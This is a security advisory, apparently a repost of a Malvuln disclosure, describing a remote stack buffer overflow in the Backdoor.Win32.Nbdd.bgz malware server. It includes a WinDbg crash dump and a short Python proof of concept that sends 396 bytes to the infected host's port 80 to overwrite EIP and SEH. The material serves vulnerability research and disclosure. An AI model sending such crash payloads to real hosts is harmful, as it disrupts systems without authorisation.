Wednesday, July 28, 2021

Backdoor.Win32.Nbdd.bgz Buffer Overflow

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/6fab73bf104c6a9211b94f9559faa134.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Nbdd.bgz
Vulnerability: Remote Stack Buffer Overflow
Description: NetBot_Attacker VIP 5.9 on initial startup listens on port 8080 and on subsequent restarts port 80. Third-party attackers who can reach an infected system can send just 396 bytes to trigger a classic stack buffer overflow overwriting the EIP, ECX registers and SEH records.
Type: PE32
MD5: 6fab73bf104c6a9211b94f9559faa134
Vuln ID: MVID-2021-0309
Dropped files: NB_Server.exe
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 07/26/2021

Memory Dump:
(114.e0c): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=041d1b60 ecx=41414141 edx=00000000 esi=041d1b60 edi=004060f0
eip=41414141 esp=074eff80 ebp=074eff94 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
41414141 ?? ???

0:006> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************


FAULTING_IP:
+0
41414141 ?? ???

EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 41414141
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000008
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 41414141
Attempt to read from address 41414141

PROCESS_NAME: Backdoor.Win32.Nbdd.bgz.6fab73bf104c6a9211b94f9559faa134.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000000

EXCEPTION_PARAMETER2: 41414141

READ_ADDRESS: 41414141

FOLLOWUP_IP:
+0
41414141 ?? ???

FAILED_INSTRUCTION_ADDRESS:
+0
41414141 ?? ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

IP_ON_HEAP: 41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER: from 41414141 to 41414141

FAULTING_THREAD: ffffffff

BUGCHECK_STR: APPLICATION_FAULT_BAD_INSTRUCTION_PTR_INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE

PRIMARY_PROBLEM_CLASS: BAD_INSTRUCTION_PTR_STACKIMMUNE

DEFAULT_BUCKET_ID: BAD_INSTRUCTION_PTR_STACKIMMUNE

FRAME_ONE_INVALID: 1

STACK_TEXT:
00000000 00000000 unknown!backdoor.win32.nbdd.bgz.6fab73bf104c6a9211b94f9559faa134.exe+0x0


STACK_COMMAND: .cxr 00000000074EFB20 ; kb ; ** Pseudo Context ** ; kb

SYMBOL_NAME: unknown!backdoor.win32.nbdd.bgz.6fab73bf104c6a9211b94f9559faa134.exe

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: unknown

IMAGE_NAME: unknown

DEBUG_FLR_IMAGE_TIMESTAMP: 0

FAILURE_BUCKET_ID: BAD_INSTRUCTION_PTR_STACKIMMUNE_c0000005_unknown!Unloaded

BUCKET_ID: APPLICATION_FAULT_BAD_INSTRUCTION_PTR_INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE_BAD_IP_unknown!backdoor.win32.nbdd.bgz.6fab73bf104c6a9211b94f9559faa134.exe

Followup: MachineOwner
---------

0:006> !exchain
Invalid exception stack at 41414141


Exploit/PoC:
from socket import *

#Note: may require two consecutive requests to exploit.
MALWARE_HOST="x.x.x.x"
PORT=80

s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

PAYLOAD="A"*396
s.send(PAYLOAD)
s.close()

print("Backdoor.Win32.Nbdd.bgz / Remote Stack Buffer Overflow")
print("MD5: 6fab73bf104c6a9211b94f9559faa134")
print("By Malvuln")


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